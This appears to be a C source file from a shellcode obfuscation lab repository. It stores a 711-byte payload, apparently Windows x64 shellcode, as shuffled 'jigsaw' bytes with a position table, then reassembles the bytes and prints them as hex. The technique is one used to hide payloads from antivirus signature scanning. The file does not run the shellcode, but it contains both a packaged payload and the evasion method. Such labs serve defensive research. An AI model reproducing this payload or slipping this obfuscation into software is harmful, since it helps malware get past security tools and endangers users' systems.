mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
39 lines
8.1 KiB
C
39 lines
8.1 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
|
|
int main(void)
|
|
{
|
|
|
|
|
|
unsigned char jigsaw[711] = { 0xf1, 0x77, 0x1f, 0x74, 0xd0, 0x41, 0xff, 0x65, 0xb7, 0x6a, 0x6e, 0xc1, 0xd2, 0xed, 0x49, 0x00, 0x00, 0x7b, 0x4e, 0x03, 0x4d, 0x10, 0x56, 0x66, 0x61, 0x00, 0x35, 0x60, 0x72, 0x30, 0xe8, 0x8b, 0xd5, 0x31, 0x52, 0x49, 0x4d, 0x00, 0x48, 0x52, 0x73, 0x26, 0x53, 0x31, 0xc7, 0x48, 0x58, 0x00, 0xe4, 0x4b, 0xc3, 0x2e, 0xd5, 0x6c, 0x13, 0x08, 0x59, 0x28, 0x00, 0xe0, 0x41, 0x50, 0x65, 0x00, 0x73, 0x41, 0x77, 0x57, 0x53, 0xc9, 0x58, 0x88, 0x2f, 0x75, 0x00, 0xbe, 0x00, 0x76, 0x00, 0x66, 0x69, 0x48, 0x8b, 0x84, 0x59, 0x00, 0xff, 0xc9, 0xff, 0x4d, 0x20, 0x48, 0x44, 0x52, 0x20, 0x33, 0x48, 0x00, 0xc9, 0x31, 0x6c, 0x10, 0xc1, 0x69, 0xf1, 0xff, 0x31, 0x24, 0x41, 0x3b, 0xc9, 0x53, 0x58, 0x4a, 0xc1, 0x01, 0x48, 0x50, 0x6b, 0x88, 0x6d, 0x00, 0x48, 0x72, 0x2e, 0x3c, 0x69, 0x00, 0x39, 0x70, 0x4d, 0x4d, 0x40, 0x31, 0x49, 0x41, 0x49, 0x4d, 0xc9, 0x66, 0x49, 0xc2, 0x00, 0x31, 0x48, 0x18, 0x20, 0x48, 0xd0, 0x78, 0x20, 0xc0, 0x31, 0x74, 0xd5, 0x3b, 0xff, 0x66, 0x53, 0xe7, 0x31, 0x48, 0x44, 0x30, 0x03, 0x41, 0x00, 0x63, 0x41, 0x48, 0x00, 0x58, 0x4f, 0x0d, 0xb8, 0x20, 0x20, 0x01, 0xa2, 0xf1, 0x00, 0x32, 0x5a, 0x49, 0x31, 0x00, 0x53, 0x41, 0xc4, 0xd0, 0xc2, 0x41, 0xc9, 0x2f, 0x59, 0x69, 0x41, 0x78, 0x89, 0x01, 0x49, 0x69, 0x56, 0xc7, 0xba, 0x48, 0x41, 0x61, 0x6f, 0x8b, 0x8b, 0xc7, 0xc2, 0x48, 0xd5, 0x41, 0x58, 0xba, 0x00, 0x53, 0x80, 0x00, 0x63, 0x53, 0x42, 0x34, 0xc0, 0x00, 0xd1, 0x75, 0x00, 0xd0, 0x20, 0x2d, 0x66, 0xc0, 0x74, 0x00, 0x36, 0xd5, 0x52, 0x0a, 0x41, 0x65, 0x62, 0xc7, 0xf0, 0x59, 0x6e, 0x58, 0x74, 0x00, 0x38, 0xc9, 0x8b, 0x40, 0x12, 0x31, 0x46, 0x54, 0x49, 0x4e, 0xff, 0x51, 0x70, 0x89, 0xeb, 0x69, 0x54, 0x58, 0x69, 0x89, 0x32, 0x38, 0x89, 0x35, 0x6d, 0x2e, 0xfc, 0xa7, 0x48, 0x34, 0xff, 0xba, 0x57, 0x41, 0xc7, 0x49, 0x53, 0x44, 0x53, 0x18, 0x2c, 0x53, 0x6b, 0x47, 0x49, 0x4c, 0x3b, 0x0c, 0x58, 0x53, 0x61, 0x20, 0x1c, 0x74, 0x4b, 0x00, 0x75, 0x5a, 0x6c, 0x00, 0x65, 0x00, 0x0f, 0x49, 0xc7, 0x07, 0x4d, 0x51, 0x89, 0x30, 0x31, 0x45, 0xc9, 0x36, 0x33, 0x00, 0x00, 0x6a, 0x41, 0x54, 0x00, 0x20, 0x70, 0x20, 0x48, 0xc0, 0x30, 0x20, 0xd1, 0x8b, 0x96, 0x49, 0x89, 0x31, 0x40, 0x02, 0x71, 0x5a, 0x4d, 0xcc, 0x00, 0x2e, 0x52, 0x65, 0x00, 0xe2, 0x89, 0x48, 0x36, 0x62, 0x4d, 0x2f, 0x31, 0x85, 0x53, 0xd5, 0x7a, 0x33, 0x04, 0x72, 0x39, 0x4c, 0x01, 0x39, 0xff, 0x00, 0x42, 0x53, 0xe9, 0x53, 0x48, 0x00, 0x41, 0x89, 0x72, 0x2e, 0x8b, 0x01, 0x18, 0xc1, 0x85, 0xc0, 0x48, 0xd6, 0x58, 0x20, 0x31, 0xba, 0x44, 0x74, 0xc6, 0x3c, 0xe0, 0x48, 0xe3, 0x85, 0x81, 0x6e, 0xc1, 0x2e, 0x50, 0x48, 0xd8, 0xc7, 0xf0, 0x4b, 0x48, 0x00, 0xba, 0x01, 0x38, 0x34, 0x35, 0x59, 0x40, 0x5a, 0x6f, 0xc0, 0xda, 0x00, 0x55, 0x00, 0x8b, 0x77, 0x37, 0xe8, 0xc9, 0x41, 0x56, 0x31, 0x61, 0x6e, 0x31, 0x20, 0xc6, 0x58, 0x0d, 0x48, 0x48, 0x10, 0x62, 0x00, 0x69, 0x00, 0x72, 0xff, 0x00, 0x6f, 0xc0, 0x49, 0x44, 0x39, 0x83, 0xe8, 0xdb, 0x18, 0x00, 0x3a, 0x52, 0xe2, 0x2d, 0x5f, 0x2c, 0x8b, 0x44, 0x01, 0xc0, 0x48, 0x37, 0xc2, 0x0b, 0x00, 0x06, 0xc1, 0x6c, 0x74, 0x67, 0x02, 0x53, 0xf9, 0x4a, 0x4f, 0x6a, 0x5a, 0x00, 0x58, 0x07, 0xd5, 0xd0, 0x75, 0xff, 0x8b, 0x5d, 0x9f, 0x48, 0x70, 0x6a, 0xc1, 0x37, 0x4d, 0x4c, 0x41, 0x5f, 0x75, 0x65, 0xcf, 0x4b, 0xc3, 0x57, 0xd2, 0x79, 0x4a, 0x41, 0x0f, 0x85, 0x00, 0x8b, 0x2e, 0x8b, 0xe2, 0x88, 0xd5, 0x48, 0x47, 0x34, 0x88, 0x53, 0x33, 0x78, 0x53, 0x6e, 0x00, 0x33, 0xc0, 0x48, 0x00, 0x50, 0x28, 0x89, 0xf0, 0x52, 0x01, 0x00, 0x89, 0x5f, 0x49, 0x69, 0xc0, 0x29, 0x75, 0x53, 0x5a, 0xac, 0x20, 0x85, 0x00, 0x93, 0x48, 0xe1, 0x5a, 0x48, 0x6e, 0x53, 0x64, 0x5a, 0x00, 0xc1, 0x6b, 0x52, 0x2f, 0x20, 0x50, 0x48, 0x4c, 0x59, 0x00, 0x20, 0x56, 0x6f, 0x48, 0x00, 0x20, 0x42, 0xe5, 0x53, 0x83, 0x49, 0x8b, 0xb2, 0xe8, 0x53, 0x00, 0x51, 0x28, 0x00, 0xff, 0x29, 0x20, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x48, 0x02, 0x48, 0x49, 0x6c, 0x77, 0x56, 0x2f, 0x6a, 0x01, 0x77, 0x4d, 0x41, 0xd5, 0x69, 0x30, 0x53, 0x24, 0x2e, 0x49, 0x65, 0xe8, 0x74, 0xe0, 0x41, 0x37, 0x61, 0x35, 0x31, 0x2e, 0x83, 0x65, 0x50, 0x48, 0x00, 0xff, 0xa4, 0x8b, 0x31, 0x36, 0x00, 0xeb, 0xc9, 0xac, 0x31, 0x7c, 0x8b, 0x49, 0x55, 0x30, 0x30, 0x68, 0x41, 0x48, 0x56, 0x6c, 0x52, 0x5e, 0x75, 0xc7, 0xcc, 0x8b, 0x2e, 0xb5, 0x59, 0x12, 0xff, 0x50, 0x31, 0x7a, 0x33, 0x43, 0x89, 0xff, 0x36, 0x34, 0x31, 0x02, 0xd0, 0x57, 0x00, 0x89, 0x41, 0xff, 0x4d, 0x2e, 0x35, 0x39, 0xec, 0x71, 0x5f, 0x69, 0x00, 0x51, 0x00, 0x48 };
|
|
|
|
int positions[711] = { 652, 444, 581, 227, 173, 55, 213, 325, 35, 485, 282, 134, 695, 63, 618, 382, 611, 575, 271, 145, 315, 623, 708, 487, 50, 596, 304, 22, 40, 277, 385, 175, 677, 483, 67, 666, 365, 379, 313, 21, 460, 239, 613, 274, 542, 678, 154, 440, 3, 438, 691, 546, 384, 467, 586, 148, 701, 532, 248, 141, 203, 113, 336, 381, 269, 292, 268, 280, 420, 419, 179, 91, 337, 694, 629, 220, 535, 512, 416, 350, 320, 194, 69, 533, 191, 415, 676, 57, 599, 564, 660, 74, 445, 199, 273, 339, 19, 534, 370, 503, 295, 628, 56, 505, 143, 383, 394, 147, 506, 278, 135, 479, 523, 508, 61, 60, 528, 13, 321, 177, 452, 659, 15, 450, 397, 49, 301, 610, 491, 246, 524, 368, 157, 16, 541, 10, 631, 123, 566, 77, 219, 543, 639, 43, 129, 26, 681, 206, 102, 79, 261, 626, 216, 302, 577, 547, 212, 686, 645, 649, 525, 215, 488, 346, 423, 192, 88, 326, 12, 550, 434, 181, 454, 136, 529, 330, 318, 101, 707, 560, 587, 392, 193, 656, 130, 389, 646, 133, 680, 76, 571, 59, 563, 303, 614, 253, 119, 513, 518, 172, 107, 446, 115, 235, 590, 582, 461, 256, 328, 28, 66, 625, 704, 517, 436, 522, 698, 426, 537, 243, 90, 228, 451, 539, 462, 289, 367, 9, 620, 514, 612, 109, 68, 515, 162, 412, 495, 7, 309, 242, 29, 554, 198, 482, 502, 657, 4, 186, 265, 633, 684, 387, 140, 125, 120, 616, 208, 340, 493, 314, 569, 449, 576, 11, 459, 670, 606, 353, 507, 696, 264, 654, 478, 396, 551, 258, 335, 401, 0, 378, 558, 404, 602, 632, 427, 174, 411, 159, 363, 591, 568, 574, 317, 635, 470, 475, 624, 316, 285, 165, 486, 372, 476, 310, 170, 604, 300, 640, 443, 187, 255, 637, 322, 249, 83, 702, 703, 240, 417, 496, 428, 275, 369, 149, 118, 360, 308, 588, 530, 465, 497, 272, 431, 197, 294, 279, 182, 131, 400, 286, 151, 24, 669, 663, 651, 366, 169, 531, 511, 205, 561, 6, 86, 358, 504, 226, 247, 671, 648, 647, 395, 299, 456, 257, 402, 692, 371, 600, 453, 356, 176, 333, 391, 237, 75, 492, 709, 536, 70, 540, 209, 527, 65, 630, 178, 664, 352, 393, 110, 690, 112, 519, 682, 579, 23, 128, 498, 291, 398, 667, 155, 490, 552, 71, 594, 1, 114, 578, 78, 510, 409, 259, 463, 27, 153, 583, 705, 210, 126, 661, 374, 108, 472, 471, 593, 362, 105, 406, 334, 47, 655, 405, 545, 595, 207, 238, 357, 5, 44, 180, 32, 418, 351, 468, 46, 270, 430, 189, 58, 166, 653, 386, 494, 674, 222, 673, 85, 117, 672, 267, 693, 410, 103, 150, 2, 608, 217, 80, 627, 375, 25, 622, 572, 466, 53, 168, 167, 127, 97, 650, 473, 236, 81, 92, 573, 621, 319, 481, 99, 605, 421, 665, 37, 509, 422, 557, 8, 202, 688, 549, 161, 152, 241, 20, 214, 429, 45, 293, 615, 584, 306, 480, 144, 72, 555, 142, 298, 603, 312, 697, 263, 17, 377, 36, 190, 34, 96, 662, 156, 343, 39, 62, 585, 710, 100, 324, 121, 122, 556, 359, 287, 348, 225, 597, 305, 658, 231, 94, 489, 311, 619, 592, 448, 183, 516, 408, 474, 425, 281, 683, 290, 580, 567, 617, 132, 54, 84, 432, 644, 95, 233, 521, 643, 223, 520, 266, 364, 439, 139, 327, 14, 442, 30, 413, 38, 146, 204, 87, 323, 376, 251, 33, 441, 106, 477, 636, 424, 195, 373, 104, 685, 437, 244, 433, 31, 262, 598, 548, 329, 347, 388, 638, 93, 699, 160, 407, 52, 111, 234, 254, 464, 501, 354, 553, 138, 221, 42, 229, 642, 469, 260, 218, 158, 307, 171, 296, 245, 98, 201, 163, 455, 349, 355, 390, 276, 679, 18, 41, 116, 700, 211, 634, 164, 338, 288, 414, 544, 526, 48, 562, 51, 89, 589, 609, 342, 344, 332, 188, 601, 230, 484, 64, 185, 458, 570, 607, 687, 341, 706, 447, 668, 641, 538, 565, 252, 403, 331, 559, 200, 283, 284, 124, 82, 184, 297, 675, 232, 137, 435, 250, 345, 499, 399, 196, 500, 457, 224, 361, 73, 380, 689 };
|
|
|
|
|
|
unsigned char shellcode[711] = { 0x00 };
|
|
int position;
|
|
|
|
// Reconstruct the payload
|
|
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
|
|
position = positions[idx];
|
|
shellcode[position] = jigsaw[idx];
|
|
}
|
|
|
|
|
|
|
|
int idx = 0;
|
|
while ( idx < sizeof(shellcode))
|
|
{
|
|
if (idx == (sizeof(shellcode) - 1) )
|
|
{
|
|
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
|
}
|
|
else
|
|
{
|
|
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
|
}
|
|
idx++;
|
|
}
|
|
}
|